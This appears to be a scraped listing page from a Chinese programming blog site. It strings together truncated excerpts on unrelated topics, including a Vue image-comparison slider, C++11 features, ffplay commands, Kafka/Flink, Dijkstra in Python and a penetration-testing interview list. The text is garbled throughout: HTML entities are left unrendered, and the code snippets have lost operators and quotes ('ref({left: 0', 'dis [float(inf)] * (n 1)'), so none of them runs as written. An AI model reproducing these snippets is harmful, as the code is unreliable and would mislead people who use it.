效果图&#xff1a; <script setup lang"ts"> import { onMounted, ref } from vue; import ImgBg from /assets/img/bg.jpg import Img1 from /assets/img/1.jpgconst innerStyle ref({left: 0,top: 0,width: 100,height: 0 }) const wrapStyle ref({width:…...

Windows软件插件-音视频文件读取器

下载本插件 本插件读取音频和视频文件&#xff0c;输出音频样本和视频样本&#xff0c;音频样本为16位PCM&#xff0c;采样率48000&#xff1b;视频样本为RGB32。大部分音频和视频文件格式都可以读取。本插件类型为DLL。 本插件是通过创建媒体基础“源读取器”对象实现读取音视…...

考研数一复习之拉格朗日中值定理求解函数极限

最近在复习考研数学,只是简单做题过于乏味,因此便总结了一些笔记,后续若有空,也会将自己的复习笔记分享出来。本篇&#xff0c;我们将重点讲解拉格朗日中值定理在求解函数极限中的应用。同时,作者本人作为python领域创作者&#xff0c;还将在本文分享使用sympy求解高数中函数极…...

聊天服务器分布式改造

目前的聊天室是单节点的&#xff0c;无论是http接口还是socket接口都在同一个进程&#xff0c;无法承受太多人同时在线&#xff0c;容灾性也非常差。因此&#xff0c;一个成熟的IM产品一定是做成分布式的&#xff0c;根据功能分模块&#xff0c;每个模块也使用多个节点并行部署…...

C++11的一些特性

目录 一、C11简介 二、统一的列表初始化 2.1 &#xff5b;&#xff5d;初始化 2.2 std::initializer_list 三、声明 3.1 auto 3.2 decltype 3.3 nullptr 四、范围for循环 五、智能指针 5.1 RAII 5.2 智能指针的原理 5.3 std::auto_ptr…...

【打卡day3】字符串类

例如统计字符个数&#xff0c;字符大小写转换 题目描述&#xff1a;输入一行字符串&#xff0c;计算A-Z大写字母出现的次数 思路&#xff1a; 1 定义一个整型数组&#xff0c;初始化为0&#xff0c;存储每个字母出现的次数&#xff0c;下标0对应字母A, 2&#xff0c;定义字…...

图像滑块对比功能的开发记录

背景介绍 最近&#xff0c;公司需要开发一款在线图像压缩工具&#xff0c;其中的一个关键功能是让用户直观地比较压缩前后的图像效果。因此&#xff0c;我们设计了一个对比组件&#xff0c;它允许用户通过拖动滑块&#xff0c;动态调整两张图像的显示区域&#xff0c;从而清晰…...

【音视频】ffplay常用命令

一、 ffplay常用命令 -x width&#xff1a;强制显示宽度-y height&#xff1a;强制显示高度 强制以 640*360的宽高显示 ffplay 2.mp4 -x 640 -y 360 效果如下 -fs 全屏显示 ffplay -fs 2.mp4效果如下&#xff1a; -an 禁用音频&#xff08;不播放声音&#xff09;-vn 禁…...

初识Linux

文章目录 初识Linux&#xff1a;从开源哲学到技术生态的全面解析一、Linux的背景与发展简史&#xff1a;从代码实验到数字基础设施1.1 起源与开源基因1.2 技术哲学之争1.3 GNU/Linux的融合 二、开源&#xff1a;Linux的核心竞争力与生态力量2.1 法律保障与四大自由2.2 社区协作…...

基于遗传算法的IEEE33节点配电网重构程序

一、配电网重构原理 配电网重构&#xff08;Distribution Network Reconfiguration, DNR&#xff09;是一项优化操作&#xff0c;旨在通过改变配电网中的开关状态&#xff0c;优化电力系统的运行状态&#xff0c;以达到降低网损、均衡负载、改善电压质量等目标。配电网重构的核…...

manus对比ChatGPT-Deep reaserch进行研究类学术相关数据分析!谁更胜一筹?

没有账号&#xff0c;只能挑选一个案例 一夜之间被这个用全英文介绍全华班出品的新爆款国产AI产品的小胖刷频。白天还没有切换语言的选项&#xff0c;晚上就加上了。简单看了看团队够成&#xff0c;使用很长实践的Monica创始人也在其中。逐渐可以理解&#xff0c;重心放在海外产…...

线程通信---java

线程 我们知道&#xff0c;线程是进程的最小执行单位&#xff0c;一个进程可以拥有多个线程&#xff0c;那么就会引入两个问题&#xff1a; 多个线程之间如何进行通信多个线程对同一个数据进行操作&#xff0c;如何保证程序正确执行&#xff0c;也就是线程安全问题 线程的常…...

python面试常见题目

1、python 有几种数据类型 数字:整形 &#xff08;int&#xff09;,浮点型 &#xff08;float&#xff09;布尔 &#xff08; bool&#xff09;:false true字符串 &#xff08;string&#xff09;列表 &#xff08;list&#xff09;元组 &#xff08;tuple&#xff09;字典 &…...

Python中与字符串操作相关的30个常用函数及其示例

以下是Python中与字符串操作相关的30个常用函数及其示例&#xff1a; 1. str.capitalize() 将字符串的第一个字符大写&#xff0c;其余字符小写。 s "hello world" print(s.capitalize()) # 输出: Hello world2. str.lower() 将字符串中的所有字符转换为小写。…...

2025年渗透测试面试题总结-小某鹏汽车-安全工程师(题目+回答)

网络安全领域各种资源&#xff0c;学习文档&#xff0c;以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具&#xff0c;欢迎关注。 目录 小鹏汽车-安全工程师 一、XXE漏洞与SSRF漏洞 1. XXE&#xff08;XML External Entity&#xff09;漏洞…...

kafka + flink +mysql 案例

假设你有两个Kafka主题&#xff1a;user_activities_topic 和 product_views_topic&#xff0c;并且你希望将user_activities_topic中的数据写入到user_activities表&#xff0c;而将product_views_topic中的数据写入到product_views表。 maven <dependencies><!-- …...

Windows下配置Flutter移动开发环境以及AndroidStudio安装和模拟机配置

截止 2025/3/9 &#xff0c;版本更新到了 3.29.1 &#xff0c;但是为了防止出现一些奇怪的bug&#xff0c;我安装的还是老一点的&#xff0c;3.19&#xff0c;其他版本的安装同理。AndroidStudio用的是 2024/3/1 版本。 — 1 环境变量&#xff08;Windows&#xff09; PUB_H…...

【工具类】Springboot 项目日志打印项目版本和构建时间

博主介绍&#xff1a;✌全网粉丝22W&#xff0c;CSDN博客专家、Java领域优质创作者&#xff0c;掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围&#xff1a;SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物…...

p5.js:模拟 n个彩色小球在一个3D大球体内部弹跳

向 豆包 提问&#xff1a;编写一个 p5.js 脚本&#xff0c;模拟 42 个彩色小球在一个3D大球体内部弹跳。每个小球都应留下一条逐渐消失的轨迹。大球体应缓慢旋转&#xff0c;并显示透明的轮廓线。请确保实现适当的碰撞检测&#xff0c;使小球保持在球体内部。 cd p5-demo copy…...

RISC-V医疗芯片工程师复合型转型的路径与策略

从RISC-V到医疗芯片:工程师复合型转型的路径与策略 一、引言 1.1 研究背景 在科技快速发展的当下,芯片技术已然成为推动各行业进步的核心驱动力之一。其中,RISC-V 架构作为芯片领域的新兴力量,正以其独特的优势迅速崛起,对整个芯片产业的格局产生着深远影响。RISC-V 架…...

HTML 文本格式化

HTML 文本格式化 在构建网页的过程中&#xff0c;文本的格式化是一个至关重要的环节。HTML&#xff08;HyperText Markup Language&#xff09;提供了丰富的标签和属性来帮助我们实现各种文本格式化的需求。本文将详细介绍HTML中常见的文本格式化方法&#xff0c;包括字体、颜…...

基于RNN+微信小程序+Flask的古诗词生成应用

项目介绍 平台采用B/S结构&#xff0c;后端采用主流的Flask框架进行开发&#xff0c;古诗词生成采用RNN模型进行生成&#xff0c;客户端基于微信小程序开发。是集成了Web后台开发、微信小程序开发、人工智能&#xff08;RNN&#xff09;等多个领域的综合性应用&#xff0c;是课…...

【算法】图论 —— Dijkstra算法 python

引入 求非负权边的单源最短路 时间复杂度 O( m l o g n mlogn mlogn) 模板 https://www.luogu.com.cn/problem/P4779 import heapq as hq def dijkstra(s): # dis表示从s到i的最短路 dis [float(inf)] * (n 1) # vis表示i是否出队列 vis [0] * (n 1) q [] dis[s…...

Java:LocalDatTime(代替Calendar)、ZoneDateTime(时区时间)

文章目录 Local(代替Calendar)方法&#xff1a;获取当前代码 LocalDate&#xff08;年月日星期&#xff09;LocalTime&#xff08;时分秒纳秒&#xff09;LocalDateTime(最常用&#xff1a;年月日时分秒纳秒)ZoneId 时区表示方法 ZoneDateTime(时区时间)方法世界标准时间&#…...

HOW - React 如何在在浏览器绘制之前同步执行 - useLayoutEffect

目录 useEffect vs useLayoutEffectuseEffectuseLayoutEffect主要区别总结选择建议注意事项 useLayoutEffect 使用示例测量 DOM 元素的尺寸和位置示例&#xff1a;自适应弹出框定位 同步更新样式以避免闪烁示例&#xff1a;根据内容动态调整容器高度 图像或 Canvas 绘制前的准备…...

PyTorch系列教程:编写高效模型训练流程

当使用PyTorch开发机器学习模型时&#xff0c;建立一个有效的训练循环是至关重要的。这个过程包括组织和执行对数据、参数和计算资源的操作序列。让我们深入了解关键组件&#xff0c;并演示如何构建一个精细的训练循环流程&#xff0c;有效地处理数据处理&#xff0c;向前和向后…...

VS2019,VCPKG - 为VS2019添加VCPKG

文章目录 VS2019,VCPKG - 为VS2019添加VCPKG概述笔记前置条件迁出vcpkg到本地验证库安装更新已经安装的库删除指定的包安装VS2019能用的boostvcpkg 2025.02.14 版本可以给VS2019用用VCPKG的好处备注END VS2019,VCPKG - 为VS2019添加VCPKG 概述 开源工程用到了VCPKG管理的包。…...

linux下 jq 截取json文件信息

背景&#xff1a;通过‘登录名‘ 获取该对象的其他个人信息如名字。 环境准备&#xff1a;麒麟操作系统V10 jq安装包 jq安装包获取方式&#xff1a;yum install jq 或 使用附件中的rpm 或 git自行下载 https://github.com/stedolan/jq/releases/download/ 实现过程介绍&am…...

测试大语言模型在嵌入式设备部署的可能性-ollama本地部署测试

前言 当今各种大语言模型百花齐放&#xff0c;为了方便使用者更加自由的使用大模型&#xff0c;将大模型变成如同棒球棍一样每个人都能用&#xff0c;并且顺手方便的工具&#xff0c;本地私有化具有重要意义。 本次测试使用ollama完成模型下载&#xff0c;过程简单快捷。 1、进…...

C语言基础系列【21】memcpy、memset

博主介绍&#xff1a;程序喵大人 35- 资深C/C/Rust/Android/iOS客户端开发10年大厂工作经验嵌入式/人工智能/自动驾驶/音视频/游戏开发入门级选手《C20高级编程》《C23高级编程》等多本书籍著译者更多原创精品文章&#xff0c;首发gzh&#xff0c;见文末&#x1f447;&#x1f…...

云曦春季开学考复现(2025)

Crypto 划水的dp和dq 下载附件后是简单的RSA算法题&#xff0c;之所以说简单是因为给了公钥e 趁热打铁&#xff0c;昨天刚学的RSA&#xff0c;既然有p有q&#xff0c;也有e&#xff0c;而np*q&#xff0c;可以算出欧拉函数值phi&#xff08;p-1&#xff09;*&#xff08;q-1&…...

探秘 Netty 通信中的 SslHandler 类:保障网络通信安全的基石

引言 在当今数字化时代&#xff0c;网络安全是每一个应用程序都必须重视的关键因素。尤其是在数据传输过程中&#xff0c;防止数据被窃取、篡改至关重要。Netty 作为一个高性能的网络编程框架&#xff0c;为开发者提供了强大的功能来构建可靠的网络应用。其中&#xff0c;SslH…...

Llama factory微调后的模型怎么通过ollama发布

接上一篇博客:用Llama Factory单机多卡微调Qwen2.5时报torch.OutOfMemoryError: CUDA out of memory的解决办法_llama-factory cuda out of memory-CSDN博客 把Lora模块和其基模型merge到一起之后,就可以通过ollama之类的框架提供服务了。不过还是有些格式转换的工作要做: …...

ubuntu 20.04下ZEDmini安装使用

提前安装好显卡驱动和cuda&#xff0c;如果没有安装可以参考我的这两篇文章进行安装&#xff1a; ubuntu20.04配置YOLOV5&#xff08;非虚拟机&#xff09;_ubuntu20.04安装yolov5-CSDN博客 ubuntu20.04安装显卡驱动及问题总结_乌班图里怎么备份显卡驱动-CSDN博客 还需要提前…...

CmBacktrace的学习跟移植思路

学习移植CmBacktrace需要从理解其核心功能、适用场景及移植步骤入手&#xff0c;结合理论学习和实践操作。以下是具体的学习思路与移植思路&#xff1a; 一、学习思路 理解CmBacktrace的核心功能 CmBacktrace是针对ARM Cortex-M系列MCU的错误追踪库&#xff0c;支持自动诊断Har…...

Android Glide 缓存模块源码深度解析

一、引言 在 Android 开发领域&#xff0c;图片加载是一个极为常见且关键的功能。Glide 作为一款被广泛使用的图片加载库&#xff0c;其缓存模块是提升图片加载效率和性能的核心组件。合理的缓存机制能够显著减少网络请求&#xff0c;降低流量消耗&#xff0c;同时加快图片显示…...

蓝桥杯备赛:炮弹

题目解析 这道题目是一道模拟加调和级数&#xff0c;难的就是调和级数&#xff0c;模拟过程比较简单。 做法 这道题目的难点在于我们在玩这个跳的过程&#xff0c;可能出现来回跳的情况&#xff0c;那么为了解决这种情况&#xff0c;我们采取的方法是设定其的上限步数。那么…...

死锁问题分析工具

使用 gdb 调试 gdb ./your_program (gdb) run (gdb) thread apply all bt还可以分析pthread_mutex内部&#xff0c;查看owen字段分析哪个线程占用的锁&#xff0c;一个可能的 pthread_mutex 内部结构可以大致表示为&#xff1a; typedef struct pthread_mutex_t {int state; …...

装饰器模式--RequestWrapper、请求流request无法被重复读取

目录 前言一、场景二、原因分析三、解决四、更多 前言 曾经遇见这么一段代码&#xff0c;能看出来是把request又重新包装了一下&#xff0c;核心信息都不会改变 后面了解到这叫 装饰器模式&#xff08;Decorator Pattern&#xff09; &#xff1a;也称为包装模式(Wrapper Pat…...

MTK Android12 桌面上显示文件管理器图标

文章目录 需求解决 需求 在MTK平台上&#xff0c;Android12的文件管理器图标未显示在桌面&#xff0c;但在设置里面可以看到&#xff0c;文件管理器是安装的。根据客户要求&#xff0c;需要将文件管理器的图标显示在桌面上。解决 路径&#xff1a;packages/apps/DocumentsUI/…...

SpringBoot实现文件上传

1. 配置文件上传限制 application.yml spring:servlet:multipart:max-file-size: 10MBmax-request-size: 10MB2. 创建文件上传控制器 import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RestController; import…...

【开源免费】基于SpringBoot+Vue.JS青年公寓服务平台(JAVA毕业设计)

本文项目编号 T 233 &#xff0c;文末自助获取源码 \color{red}{T233&#xff0c;文末自助获取源码} T233&#xff0c;文末自助获取源码 目录 一、系统介绍二、数据库设计三、配套教程3.1 启动教程3.2 讲解视频3.3 二次开发教程 四、功能截图五、文案资料5.1 选题背景5.2 国内…...

django中视图作用和视图功能 以及用法

在 Django REST Framework(DRF)中,视图(View)是处理 HTTP 请求并返回响应的核心组件。DRF 提供了多种视图类,适用于不同的场景和需求。以下是 DRF 中常见的视图类及其作用、使用方法的详细说明: 一、DRF 视图的分类 DRF 的视图可以分为以下几类: 基于函数的视图(Func…...

大语言模型在患者交互任务中的临床使用评估框架

An evaluation framework for clinical use of large language models in patient interaction tasks An evaluation framework for clinical use of large language models in patient interaction tasks | Nature Medicine 2025.1 收到时间&#xff1a;2023 年 8 月 8 日 …...

Python—类class复习

Python——类&#xff08;class&#xff09;复习 根据类来创建对象的方法被称为实例化 因此学会使用类&#xff08;class&#xff09;来进行编程就是初步进入面向对象编程的大门 1.1 创建和使用类 首先编写一个小狗的简单类Dog&#xff0c;它表示的不是特定的小狗&#xff…...

QT | 信号与槽(超详解)

前言 对qt信号和槽的详细解释 &#x1f493; 个人主页&#xff1a;普通young man-CSDN博客 ⏩ 文章专栏&#xff1a;C_普通young man的博客-CSDN博客 ⏩ 本人giee: 普通小青年 (pu-tong-young-man) - Gitee.com 若有问题 评论区见&#x1f4dd; &#x1f389;欢迎大家点赞&am…...

Codecraft-17 and Codeforces Round 391 E. Bash Plays with Functions 积性函数

题目链接 题目大意 定义函数 f r ( n ) f_r(n) fr​(n) : 在 r 0 r0 r0时&#xff0c;为满足 p p p ⋅ \cdot ⋅ q n qn qn , 且 g c d ( p , q ) 1 gcd(p,q)1 gcd(p,q)1 的有序对 ( p , q ) (p,q) (p,q) 个数&#xff1b;在 r r r ≥ \geq ≥ 1 1 1时&#xff0…...

粉尘环境下的智能生产革命 ——助力矿山行业实现高效自动化作业

在矿山开采领域&#xff0c;运输系统是保障生产连续性的核心环节。然而&#xff0c;粉尘弥漫、环境恶劣、设备分散等问题&#xff0c;长期制约着矿山运输的效率与安全性。传统的集中式控制系统难以适应复杂工况&#xff0c;而远程分布式 IO 模块与 PLC 的深度融合&#xff0c;正…...